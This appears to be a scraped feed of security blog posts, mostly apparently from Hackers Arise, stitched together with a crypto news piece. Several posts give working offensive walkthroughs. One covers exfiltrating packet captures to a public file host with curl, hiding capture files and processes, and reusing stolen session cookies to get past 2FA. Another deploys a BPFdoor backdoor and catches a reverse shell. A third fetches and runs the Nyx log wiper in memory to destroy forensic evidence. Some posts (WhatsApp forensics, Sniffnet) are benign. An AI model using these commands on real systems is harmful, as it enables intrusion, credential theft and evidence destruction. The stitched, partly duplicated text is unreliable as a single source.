There are also more advanced options available. For instance, you can extract both credentials and DPAPI keys with additional brute-forcing to find initialization vectors within the data:

PS > .\Deadmatter.exe -f memory_dump.raw -b -d

Try different methods and see if you can find more information. 

Defense

To protect yourself from these attacks, make sure Credential Guard is on. It’ll make the credentials inaccessible. It’s also a good idea to monitor which forensic tools are being used. Ideally, keep a whitelist of approved tools that way you can spot someone trying to do a dump without authorization.

Summary

While defenders should have a red team mindset, hackers should have a blue team mindset to know how things work on the other side. Digital forensics is a great field and applies to both sides. Extracting credentials from systems is just one of its uses, more advanced knowledge can help you with behavior analysis and evasion.

If you want to learn more about Digital Forensics, we have training for beginners and for those who want to advance their skills in it.

The post Digital Forensics: Extracting Credentials with DeadMatter first appeared on Hackers Arise.

Welcome back, cyberwarriors.

It’s Collateral here again. Today we want to show you an attack vector that can bypass password complexity and 2FA. It was successful during one of our latest pentests. The environment we were testing was complex with segmented networks. In a situation like that, the best move is usually traffic analysis.

During the pentest we got access to a machine used for corporate mail. No details were given about the machine or the environment around it, but we noticed that the host was running multiple Docker containers. On the surface it looked like the company had done a decent job hardening things. Looking manually for configs across all these different apps is always a pain, so we used LaZagne instead to look for credentials.

LaZagne

LaZagne is a credential recovery tool that can parse configs and find credentials in them. It’s pretty easy to work with and the output looks clean. The tool can often find passwords buried in odd locations.

bash# > python3 laZagne.py

Not every entry you see will be a valid login, but most of the passwords are usable. We found the root credentials for MySQL which gave us database access. That’s already enough to temporarily adjust the password entries to analyze mail overnight.

# Docker shows 127.0.0.1:13306->3306/tcp

bash# > mysql -h 127.0.0.1 -P 13306 -u root -p

The password hashes used BLF-CRYPT format, which can be reproduced using the container itself, if you actually decide to manipulate the entries.

Network Traffic Analysis

These password hashes won’t help, because they’re slow to crack and some of them are backed by 2FA. Logging in with a cracked password might trigger a verification code sent to the user’s phone, which will definitely raise alarms.

For this attack we used tcpdump. A lot of people won’t like it because it’s a CLI tool and it’s boring writing those long oneliners explaining what you want to capture, but it’s quite powerful. It helped us understand the network’s behavior and find out which services were in use. You can still open your pcaps in Wireshark if you want to. Or better yet NetworkMiner, which will dissect every packet and sort all the findings. It’s often used for quick credential searches in pcaps because the filters are really strong

Above you can see a general traffic capture to get a sense of the environment. In secure networks where active scanning with nmap and other tools gets flagged, tcpdump is a better choice. By looking through the traffic flow, we can see the communication paths. We focused on HTTP traffic and found POST requests made to the mail server. The requests showed the internal proxy, where a publicly accessible mail portal forwarded traffic to a local Linux machine.

As you can see, the request contains the original IP address. Even though the main site used HTTPS, internal traffic was still HTTP. It’s a pretty common mistake.

Looks pretty good, right? They still think so.

Identifying the Port

To capture the credentials we had to find the correct port. It wasn’t on the usual 80 or 8080. If you look closely at the POST request, you will find it. It was 20000. That’s security through obscurity, as OTW says.

With that in hand, we started capturing the traffic:

bash# > tcpdump -i interface tcp port 20000 -w /etc/systemd/20k_01.pcap

Change the interface name to match yours and always store captures in obscure locations. Keep in mind, the tcpdump process will show up in the process list, unless the you use Zapper to hide it.

bash# > ps aux | grep tcpdump

Give it a few hours during the busy day and come back for your traffic capture. It’s always better to find the necessary ports and listen to their traffic instead of throwing a full capture at everything. The size will grow fast and the admins will notice a problem soon enough, especially if there isn’t much storage left to begin with.

# Upload the pcap to a free file host

bash# > file=20k_01.pcap
bash# > curl -F "reqtype=fileupload" -F "fileToUpload=@$file" https://catbox.moe/user/api.php

# It will give you the link in the output  

Next go to Wireshark, click File > Export objects > HTTP.

Export everything and read through all the connect packets.

kali > cat connect * | jq .

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using Cookie-Editor and you’re in.

Streamlining With TCPDump

Once you know what to look for, you can grep the keywords you need:

kali > tcpdump -A -r 20k_05.pcap port 20000 | grep “userName”

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using an extension like Cookie-Editor and you’re in.

We found folders labeled “Accesses” and “VM”. Emails showed the company hosted client services on virtual machines. All the credentials for the VMs were stored in plaintext, which is basically a goldmine for lateral movement and pivot.

Conclusion

Network traffic isn’t always the first thing hackers and pentesters go with, but that underestimates it significantly. As you’ve seen, there’s a lot that can be found in it if you dedicate some time. Seeing HTTP used inside organizations is so common. That’s a very common mistake that leaves all the communication wide open. So if you know how to look for things, you’ll find your answer in a subtle way. All this company noise is an opportunity during a pentest for us.

The post Pentesting: Taking Over A Corporate Mail – Mailcow first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors.

As you might know, not all dangerous threats are the loud ones. We often hear about ransomware campaigns that paralyze companies and demand money. Money is the key factor in these operations. If the victim pays once and gets their decryption key, there’s a chance they will pay a second time. That means the key must be delivered to the victim. Total destruction isn’t really the objective here. Things need to stay in a state where they can be fixed within a short period of time if the victim pays.

With state sponsored APTs, things are a bit different. Given the strategy China has right now in regards to the West, they’re trying to preposition themselves for a future conflict, so gaining as much access as possible is the current goal. Once things go south, all that compromised infrastructure starts crippling systems in a bid to cause as much damage as possible. That’s what happened before and during the first days of the Russian invasion of Ukraine and other countries, so there’s a good chance that’s what will happen during an active conflict with China.

An investigation by Rapid7 Labs found evidence of an advanced China nexus threat actor known as Red Menshen. This group has been placing stealthy digital sleeper cells inside telecommunications networks. These are long-term operations built for persistence and access to sensitive environments, including government infrastructure.

At the center of this activity is BPFdoor.

What is BPFDoor

BPFdoor doesn’t behave like conventional malware. It doesn’t open a visible listening port or maintain a C2 channel. BPFdoor is a passive Linux backdoor that works at a very low level in the system. It uses the Berkeley Packet Filter (BPF), which is a feature inside the Linux kernel designed for packet filtering and analysis. Normally, BPF is used for legitimate purposes such as monitoring. In this case, it is being abused. The backdoor attaches itself to a raw network socket and inspects incoming traffic. It can actually see packets before firewall rules have a chance to process them. So even if your firewall is configured correctly, the backdoor can still see traffic that should have been blocked.

Most of the time, the backdoor does nothing. It remains completely dormant, which makes it difficult to detect through behavior. It just waits for a “magic packet”. That magic packet has a predefined pattern known only to the hacker. When it arrives, the backdoor wakes up and gives the hacker a reverse shell, so that he doesn’t expose the entry point.

For this article we will use a simplified PoC. It doesn’t include advanced features such as encryption, persistence or espionage modules. But it’s enough to show the core idea and that’s what matters for our learning. The original rootkit can be found here.

Setting Up

We begin by cloning the repository and modifying the trigger file. That’s the file responsible for sending the magic packet that activates the backdoor.

kali > git clone https://github.com/pjt3591oo/bpfdoor.git
kali > cd bpfdoor
kali > vim trigger.c

Inside trigger.c you need to specify two IP addresses. One is the target machine where the backdoor will run, and the other is your attacking machine. We used Kali for this.

You will notice a small detail in the code, a character ‘X’ placed before the IP address. It is a simple magic byte used by the PoC to identify valid trigger packets. It should not be removed, as it is part of the mechanism that wakes up the backdoor.

Once the file is ready, you compile both the trigger and the backdoor.

kali > gcc trigger.c -o trigger
kali > gcc bpfdoor -o bpfdoorpoc
kali > chmod +x trigger

After compiling, we are ready to move to the target system.

Exploitation

To move further we need to transfer the backdoor. There are different methods available for it. You can use temp.sh or a simple HTTP server.

Pick whatever is best for you and download it.

kali > python3 -m http.server 9001
ubuntu > wget http://192.168.56.107:9001/bpfdoorpoc

Once the file is downloaded, you make it executable and run it.

ubuntu > chmod +x bpfdoorpoc
ubuntu > ./bpfdoorpoc

At this point, the rootkit appears to hang. This is expected behavior. The backdoor is now running in the background, waiting for the magic packet. You might see some output, but nothing really tells you what it’s doing.

Set up a listener on Kali to receive your reverse shell

kali > nc -lvnp <port>

The trigger sends a packet that the backdoor recognizes.

In a separate terminal you execute the trigger:

kali > ./trigger

The trigger sends a packet that the backdoor recognizes.

The moment it detects the correct pattern, it activates and sends you back a reverse shell. If everything is correct, you will see a connection. It’s a working shell on the target system.

This is the core idea behind BPFdoor.

Detection

The backdoor has been known since around 2022, but only recently has it been observed being actively used in attacks against telecommunications infrastructure. To detect it we can use a script made by Rapid7.

ubuntu > wget https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/rapid7_detect_bpfdoor.sh

ubuntu > chmod +x rapid7_detect_bpfdoor.sh
ubuntu > bash rapid7_detect_bpfdoor.sh

The script attempts to find suspicious processes that match the behavior of BPFdoor. In our case, it found the PoC process and reported its process ID. Even stealthy malware can leave traces. Detection comes down to understanding how the system is supposed to behave (baseline) and finding deviations from it.

Summary

BPFdoor is an advanced Linux backdoor with a different approach to persistence and remote access. It’s being used by the Chinese to access our sensitive data. The whole Chinese campaign is about prepositioning the country for future global conflicts, so they can gain the upper hand in the chaos of a cyberwar. Their backdoor hides within the normal operation of the kernel and waits for a specific trigger. That makes it really hard to spot.

Telecoms have always been a desirable target along with industrial control systems. In light of these attacks, we started training on Building Your Own Mobile 4G Base Station. You’ll get to learn not just how to build a station, but how hackers attack it and how you can defend it. The knowledge is truly unique and a lot of work has gone into making the training.

The post Compromising Telecom Systems: Deploying and Detecting the BPFDoor Backdoor first appeared on Hackers Arise.

Welcome back, digital investigators!

Many of our messengers sit somewhere between privacy and routine. People treat chats like a private conversation and because it feels comfortable, they often share things they wouldn’t say on social media. The data stored in those apps is valuable for forensics. It may have chats, media and group membership with timestamps. Using this data we can reconstruct events. 

We’re going to take a close look at WhatsApp forensics today and show you the artifacts you can find on Android and iOS. It’ll be a deep dive on how WhatsApp keeps its data and what those files contain. All of it in plain language.

At Hackers-Arise we assist people with forensic investigations to uncover cybercrime and help with incident response. WhatsApp is part of that.

WhatsApp Artifacts on Android Devices

On Android, WhatsApp stores its private app data inside the device’s user data area. You will find the app’s files under /data/data/com.whatsapp/ or equivalently /data/user/0/com.whatsapp/ on many devices. These directories are not accessible without root, so to read them directly you need a physical dump of the file system or root. If you do not have root or a physical image, your options are restricted to logical backups.

There are two important files here: wa.db and msgstore.db. Both are SQLite databases and together they form the core of WhatsApp evidence.

wa.db is the contacts database. It has the WhatsApp user’s contacts with phone numbers, display names, status, timestamps for when contacts were created or changed. You can open the file with a SQLite browser to see its tables. The interesting tables here are those that store contact records (wa_contacts or similar), sqlite_sequence that has auto-increment counts and android_metadata with app language.

Wa.db is basically the address book for WhatsApp. It has names, numbers and a little context for each contact.

msgstore.db is the message store. This database has sent and received messages, timestamps, message status, senders and receivers and references to media files. In many WhatsApp versions you will find tables that include a general information table (sqlite_sequence), a full text index table for message content (message_fts_content or similar), the main messages table which usually contains the message body and metadata, messages_thumbnails which has images and their timestamps, and a chat_list table that stores chat entries. 

Be aware that WhatsApp changes its structure and field names may change between versions. Newer schema versions may include extra fields such as media_enc_hash, edit_version, or payment_transaction_id. So you need to inspect the schema first.

On many Android devices WhatsApp also keeps encrypted backups in a public storage location that you can find under /data/media/0/WhatsApp/Databases/ (the virtual SD card)

or /mnt/sdcard/WhatsApp/Databases/ for physical SD cards. Those backup files look like msgstore.db.cryptXX, where XX shows the cryptographic scheme version. 

The msgstore.db.cryptXX files are an encrypted copy of msgstore.db intended for device backups. To decrypt them you need a cryptographic key that WhatsApp stores privately on the device. The key can usually be found here: /data/data/com.whatsapp/files/. Without that key those encrypted backups are not readable.

Other important Android files and directories to examine include the preferences and registration XMLs in /data/data/com.whatsapp/shared_prefs/. The file com.whatsapp_preferences.xml often contains profile details and configuration. A fragment of such a file may show the phone number associated with the account, the app version, a profile message such as “Hey there! I am using WhatsApp” and the account display name. The registration.RegisterPhone.xml file typically has registration metadata like the phone number and regional format. 

The axolotl.db file in /data/data/com.whatsapp/databases/ holds cryptographic keys (used in the Signal/Double Ratchet protocol implementation) and account identification data. chatsettings.db has app settings. Logs are kept under /data/data/com.whatsapp/files/Logs/ and may include whatsapp.log as well as compressed rotated backups looking like whatsapp-YYYY-MM-DD.1.log.gz. They show app activity and errors.

Media is often stored in the media tree on internal or external storage:

/data/media/0/WhatsApp/Media/WhatsApp Images/ for images,

/data/media/0/WhatsApp/Media/WhatsApp Voice Notes/ for voice messages (usually Opus format), WhatsApp Audio, WhatsApp Video, and WhatsApp Profile Photos.

Within the app’s private area you may also find cached profile pictures under /data/data/com.whatsapp/cache/Profile Pictures/ and avatar thumbnails under /data/data/com.whatsapp/files/Avatars/. Some avatar thumbnails use a .j extension, but those are just JPEG files.

If the device uses an SD card, a WhatsApp directory at the card’s root may store copies of shared files (/mnt/sdcard/WhatsApp/.Share/), a trash folder for deleted content (/mnt/sdcard/WhatsApp/.trash/), and the Databases subdirectory with encrypted backups and media subfolders mirroring those on internal storage. Deleted files in .trash folders can be used to recover media.

Keep in mind, some vendors may add features that change where app data is stored. For example, certain Xiaomi phones implement a “Second Space” feature that creates a second user workspace. WhatsApp in the second workspace stores its data under a different user ID path. That means it may be under /data/user/10/com.whatsapp/databases/wa.db rather than the usual /data/user/0/com.whatsapp/databases/wa.db

WhatsApp Artifacts on iOS Devices

On iOS, WhatsApp centralizes its data into a few places and all that data is commonly accessible via device backups. The main application database is often ChatStorage.sqlite located under /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/ but some forensic tools may display this as AppDomainGroup-group.net.whatsapp.WhatsApp.shared

Within ChatStorage.sqlite the interesting tables are ZWAMESSAGE and ZWAMEDIAITEM. The first one stores message records and the other one has metadata for attachments and media items. ZWAPROFILEPUSHNAME and ZWAPROFILEPICTUREITEM map WhatsApp identifiers to display names and avatars. The table Z_PRIMARYKEY may have general database metadata such as record counts.

iOS also places supporting files in the group container. BackedUpKeyValue.sqlite can contain cryptographic keys and data for identifying account ownership. ContactsV2.sqlite stores contact details which include names, phone numbers, profile statuses and WhatsApp IDs. The consumer_version file holds the app version and current_wallpaper.jpg (or wallpaper in older versions) has the background image used in WhatsApp chats. The blockedcontacts.dat file lists blocked numbers, and pw.dat can hold an encrypted password. net.whatsapp.WhatsApp.plist or group.net.whatsapp.WhatsApp.shared.plist store profile settings.

Thumbnails, avatars and media are stored under /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Media/Profile/ and /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Message/Media/. WhatsApp logs (calls.log and calls.backup.log) can be found in the Documents or Library/Logs folders and will have information on call activity.

iOS devices are often backed up through iTunes or Finder, so you can extract WhatsApp artifacts from a device backup without a full file system image. If the backup is unencrypted it may include the ChatStorage.sqlite file and associated media. If the backup is encrypted you will need the backup password or legal access methods to decrypt it. Many investigators create a forensic backup and then examine the WhatsApp databases with a SQLite viewer and other forensic tools (Belkasoft) that understands this WhatsApp schema differences across versions.

Summary

Plainly speaking, WhatsApp forensics can help us understand who a suspect interacted with by viewing chat histories with timestamps, media files, message status (sent, delivered, read), groups, profile names and avatars and more. We understand this data can be accessed without authorization, violating people’s privacy, so part of our goal here was to show just how much data is actually stored on your phone. If you’re part of a sensitive group, look for other secure alternatives to WhatsApp and make sure your chats get deleted regularly to prevent unauthorized access to them. Disable cloud backups and try not to store those backups locally either. Even encrypted ones be cracked open by brute forcing the password.

If you’re interested in mobile forensics, you can join our training. We will walk you through the essentials of Android and iOS, explaining how evidence is stored on these devices. You will learn how investigators extract and analyze data, work with labs that involve finding hidden apps, working with encrypted chats and more.

The post Mobile Forensics: Extracting Data from WhatsApp first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.

Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC. 

But it does not help with removing all forensic traces that already exist throughout the operating system.

There is a different tool that focuses specifically on that task called Nyx.

What is Nyx

Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.

Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.

Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.

Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.

Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.

Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.

Cleaning Forensic Evidence on Windows

Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.

We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.

PS > wget https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 -O nyx.ps1

PS > .\nyx.ps1 -DryRun

Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform. 

Let’s clean them now.

PS > .\nyx.ps1

At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.

The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.

PS > iwr https://raw.githubusercontent.com/evilsocket/nyx/refs/heads/main/nyx.ps1 | iex

If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.

Cleaning Forensic Evidence on Linux

Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.

If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.

bash# > bash nyx.sh -n 

As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.

Summary

Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: Hiding Your Presence with Nyx first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Network packet monitoring has long been an important skill for tech experts, especially those in cybersecurity. Like any skill, it demands a bit of studying and hands-on practice. While Wireshark has been a go-to tool for many, it can be somewhat cumbersome for beginners who simply want to see whom they’re exchanging data with. To simplify network monitoring, Sniffnet was developed.

In this article, we’ll dive into what Sniffnet is, how to install it, and provide a practical comparison of its features alongside those of Wireshark. Let’s get rolling!

What is Sniffnet?

Sniffnet is an open-source, cross-platform network monitoring tool developed in Rust. It captures and analyzes traffic flowing through a device’s network interfaces in real-time. Unlike traditional packet analyzers that typically display raw packet data, Sniffnet prioritizes visual clarity. It features a user-friendly dashboard that showcases live charts, protocol breakdowns, and geographic context instead of just a continuous stream of hex dumps.

Step #1: Installation

In this demonstration, I’ll be testing Sniffnet on Kali Linux, though it’s also cross-platform compatible with Windows and macOS. To get started with installation, we need to visit the official download webpage and choose the package. I’ll choose the DEB file. To install, just run the following command:

kali> sudo dpkg -i Sniffnet_LinuxDEB_amd64.deb

That’s it; we’re ready to start monitoring the traffic.

After starting the app, we need to choose the network adapter and click Start. If your system makes any network connections, you’ll see it as shown below.

The interface is straightforward. The screen is divided into blocks. At the top right, we can see the traffic rate. Beyond the live chart, Sniffnet also renders a donut chart showing cumulative statistics for the entire capture session. It tracks total incoming, outgoing, and dropped data.

Any packet sniffer can show you an IP address and a port number. Sniffnet goes further. The application can identify more than 6,000 upper-layer services, protocols, trojans, and worms flowing across your interface. Instead of staring at port 443 traffic and shrugging, Sniffnet can tell you the actual service behind that connection, in this case, HTTPS.

Besides that, every remote host your machine communicates with gets mapped to a physical location, so you can see at a glance whether your traffic is staying local or hopping across continents to servers you’ve never heard of. Beyond location, Sniffnet also pulls the Autonomous System Number and domain name associated with each host. Knowing the ASN tells you which organization or provider owns that piece of the internet. As you can see from the screenshot above, most requests were made to Cloudflare US servers. Nothing fancy, but it makes overall analysis much simpler for beginners.

The main page provides a very good overview of the network traffic. But when we find something valuable, let’s say an interesting host, we can click on it and see the whole communication history.

Practical Comparison: Sniffnet vs. Wireshark

Step 1: Getting an Overview of the Capture

When you load a pcap file into Sniffnet, it will immediately render the total traffic, direction split, and the donut chart of incoming, outgoing, and dropped data. In Wireshark, we can show this information too, but it takes navigating a menu and reading a table rather than seeing it visually on load. Pull up Statistics > Capture File Properties or Statistics > Protocol Hierarchy to get an equivalent summary.

Both tools can answer “what’s in this capture,” but one shows it, the other tells it.

Step 2: Finding the Suspicious Host

Let’s imagine that we want to view hosts by traffic volume.

As you can see in the screenshot above, at Sniffnet we need to change the data representation to packets, and that’s it. At Wireshark, we need to click Statistics > Endpoints > IPv4. Note that Wireshark has no built-in geolocation or ASN lookup, so you’d need a GeoIP database configured separately, or you’d have to pivot to an external tool like whois.

Step 3: Digging Into the Actual Conversation

Wireshark clearly stands out in this scenario. By simply right-clicking on the suspicious stream and selecting “Follow TCP Stream,” we can uncover the actual payload, which may include plaintext credentials, encoded commands, or unusual headers. For instance, in the case of the XWorm malware infection I examined, this Remote Access Trojan (RAT) encrypts commands sent from the Command and Control (C2) server using the AES encryption algorithm in ECB mode, making the payload unreadable. While we can see the ciphertext, Sniffnet lacks the capabilities to analyze it in this way. Sniffnet only presents connection metadata, service labels, and host details, as it isn’t designed for interpreting raw payloads. This underlines the importance of continuing to use Wireshark, even after Sniffnet performs the initial triage.

Step 4: Extracting Evidence

Since version 1.3, Sniffnet allows exporting the captured network traffic as a PCAP file. You can configure whether to export a capture file on the initial page of the app. By default, this functionality is not active, but you can enable it by clicking on the dedicated checkbox.

Wireshark offers a variety of flexible export options. You can save the entire packet capture in formats like PCAP, export only the packets you’ve selected, or even extract packet dissections as plain text. Additionally, you can choose to export specific protocol objects, such as HTTP files, or save the raw packet bytes.

Step 5: Filtering Down to What Matters

Sniffnet has built-in filtering options, filtering by IP address, port, protocol, or application layer service directly through the UI. This is menu-driven and requires no syntax to learn.

Wireshark has display filters, like ip.addr == 158.94.209.180 and tcp.port == 6000. Its filter syntax is far more expressive. You can chain logical operators, filter on specific packet fields deep inside a protocol, filter by string content inside payloads, or filter by flags. None of that granularity exists in Sniffnet.

Summary

When comparing Sniffnet and Wireshark, it’s clear that Sniffnet serves as a useful tool for monitoring network traffic, allowing you to keep tabs on your internet usage. It’s effective for gathering statistics and identifying your data exchange partners, but it falls short for more in-depth network investigations. On the other hand, Wireshark provides a much broader range of features for monitoring, filtering, and exporting traffic.

Therefore, if you’re just looking to casually check your traffic, Sniffnet will do the job. However, if you’re aiming to dive deeper and enhance your skills in network analysis, Wireshark is the way to go. Hackers-Arise offers a dedicated course titled “Wireshark for Cybersecurity” or you can opt for the Cybersecurity Starter Bundle, which includes this course along with 11 additional courses at a great price.

The post Network Forensics: Getting Started with Sniffnet Monitoring Tool first appeared on Hackers Arise.

Why Every Cybersecurity Professional Should Read the Original Records By Gary S. Miliefsky Publisher, Cyber Defense Magazine For more than a decade, cybersecurity professionals have watched researchers at DEF CON’s...

The post Hacking US Elections: The First Tranche of Declassified Election Integrity Documents appeared first on Cyber Defense Magazine.

Chainalysis Says Its On-Chain Analytics Cleared A Key Federal Evidence Test is a useful reminder that crypto coverage is not only about token prices. Sometimes the more important story is the infrastructure, regulation, security, or product layer sitting underneath the market noise.

The immediate point is straightforward: chainalysis explained how its software met the Daubert evidentiary standard. That gives readers something concrete to work with, rather than another vague sentiment update.

TL;DR

• Chainalysis explained how its software met the Daubert evidentiary standard.
• The issue centres on whether on-chain analytics can be admitted in federal court.
• The story matters for crypto investigations and legal evidence standards.

Why This Matters Now

The timing matters because Chainalysis is already part of a wider conversation across the market. Traders want to know whether the development changes liquidity or risk. Builders want to know whether it changes what can be deployed. Compliance teams want to know whether it changes how platforms operate.

In that sense, the story is bigger than one headline. It sits inside the ongoing shift from speculative crypto cycles toward more practical questions: who can use these systems, how safe are they, and whether the underlying incentives actually work.

The best way to read it is with discipline. It is not a guarantee of immediate upside, and it should not be treated as one. But it does add a fresh data point to the way the market is thinking about Chainalysis.

The Chainalysis Angle

For Chainalysis, the important part is the specific mechanism. If this is a security issue, the risk sits in dependencies and user protection. If it is a listing or product launch, the question is access and liquidity. If it is a governance or research proposal, the question is whether the idea can survive implementation.

That is where this update becomes useful. It is not just a label attached to a trend. It gives readers a way to understand what might actually change if the development gains traction.

Crypto has a habit of turning every announcement into a broad market claim. This one deserves a narrower read. The value is in seeing how it affects the users, developers, institutions, or traders closest to the issue.

The Risk Side

There is also a caution attached. Source material can confirm that a development exists, but it cannot prove that adoption will follow. A proposal still needs support. A product still needs users. A chart still needs confirmation. A compliance tool still needs integration.

That is why the responsible reading is not to oversell the story. The stronger takeaway is that this adds to a pattern. The crypto market is steadily becoming more professional, more technical, and more sensitive to real operational details.

Readers should also watch for follow-up signals. That could mean developer feedback, exchange support, regulatory response, wallet adoption, liquidity data, or simply whether market participants continue reacting after the first headline fades.

What Comes Next

The next stage will decide whether this remains a narrow update or becomes part of a larger market theme. In crypto, that difference matters. Plenty of stories look important for a few hours and then disappear. The ones that last usually show up again through usage, liquidity, enforcement, governance, or developer adoption.

For now, this gives the market another piece of information to weigh. It is specific enough to be useful, but still early enough that readers should keep the caveats in view.

That makes it worth covering without pretending it settles anything. The story is a signal, not a final verdict.

The key is not to confuse coverage with certainty. Chainalysis stories can move quickly, especially when they touch security, regulation, listings, infrastructure, or price levels. The useful approach is to track the next confirming detail rather than assume the first update carries the whole market story. That is how traders avoid chasing noise and how readers separate a genuine development from another passing headline.

This report is based on information from chainalysis.com.

This article was written by the News Desk and edited by Samuel Rae.

Google has replaced Android's 1,800-guess lockscreen limit with a 20-attempt hard cap. Here is how the new rate limiter works and what it means for anyone testing or managing Android devices.

Inside Android’s New Lockscreen Rate-Limiting Rules on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.

Welcome back, aspiring cyberwarriors!

Many of us are being pushed toward insecure messengers and social networks. These communication channels may be monitored and are not trustworthy. That does not mean private communication is impossible. Far from it. One of the oldest and most practical problems in cryptography is how to send a secret message through an open channel without making the message obvious to anyone who sees it. And that problem has already been solved very well.

The encrypted text does not always have to look like encrypted text. A message can be hidden in plain sight so that it looks like ordinary content, or it can be embedded inside something else entirely, such as audio, video, or text that does not raise suspicion. That is the realm of steganography. Cryptography protects the meaning. Steganography helps hide the fact that a message exists at all.

For most people, though, the real need is much simpler. They want a practical and convenient way to encrypt messages quickly and reliably. So let’s look at some easy tools that make that possible.

Workflow

The workflow is always the same. First, the sender and recipient agree on a secret password or passphrase. A short sentence made up of several words is often better than a single word because it is easier to remember and usually much stronger. Then the sender pastes the message into the tool, clicks Encrypt, enters the password, and sends the resulting encrypted text through whatever channel they want, even if that channel is insecure. The recipient then uses the same tool and the same password to decrypt the message.

That is the basic pattern, and it stays consistent across different tools and platforms.

Web-Based Encryption Tools

There are browser-based applications that can encrypt text very effectively, and they are often the easiest place to begin. But there is one very important detail. You want to make sure the encryption happens entirely on the client side. That means the message is processed inside your browser, on your own machine, and the password never leaves your device. If the server never sees the key, the risk of leakage is much lower.

That point is worth checking. A good looking website is not automatically secure. One way to verify local processing is to monitor browser traffic using Developer Tools, or DevTools, and see whether your password is being sent over the network. Another way is to use a firewall application such as Little Snitch and observe whether the service tries to communicate with remote servers during encryption or decryption. If the system is truly local, the encrypted message can later be decrypted either through the same browser-based Decrypt form or offline with OpenSSL.

There are a few websites out there. 

The first one is Encrypt Online. It uses AES-256-CBC to encrypt text, strings, JSON, YAML and config data directly in your browser. It’s considered to be a strong, mathematically unbreakable encryption algorithm.

Paranoia Text Encryption uses AES-256 in EAX mode with keys derived from passwords using Argon2. That combination is strong and modern.

LOCK.PUB is another browser-based option, focused on creating encrypted online notes, polls, images, audio and a lot more. The content can only be accessed with the correct password.

For users who want something more flexible and technical, GCHQ CyberChef is a powerful open-source option from the UK’s GCHQ intelligence agency. It supports many encryption and encoding operations. 

AES Utils is another choice, using AES-256-GCM with PBKDF2 while keeping the interface simple.

Warning

As a contrast, it is useful to look at what should not be considered a proper secure solution. MagicTool encrypts and decrypts text without requiring a password. 

At first glance that may sound convenient, but from a cryptographic point of view it means the same built-in secret is used every time. If anyone knows the website and the service’s behavior, they may be able to infer or recover the messages. In that setup, the tool itself is functioning like the secret key simply by existing.

That is not a strong cryptographic model. However, in some situations, “encryption” without a user-provided key could still serve a purpose. For example, it might be used to deceive an adversary into believing you are an inexperienced user who does not know how to encrypt messages properly, when your real objective is to feed them specific information in a controlled manner.

Offline Encryption Software

Browser tools are convenient, but sometimes you want something local, traditional, and fully under your control. Linux, Windows, and macOS all have native or widely trusted applications that can encrypt text and files without relying on a remote browser service.

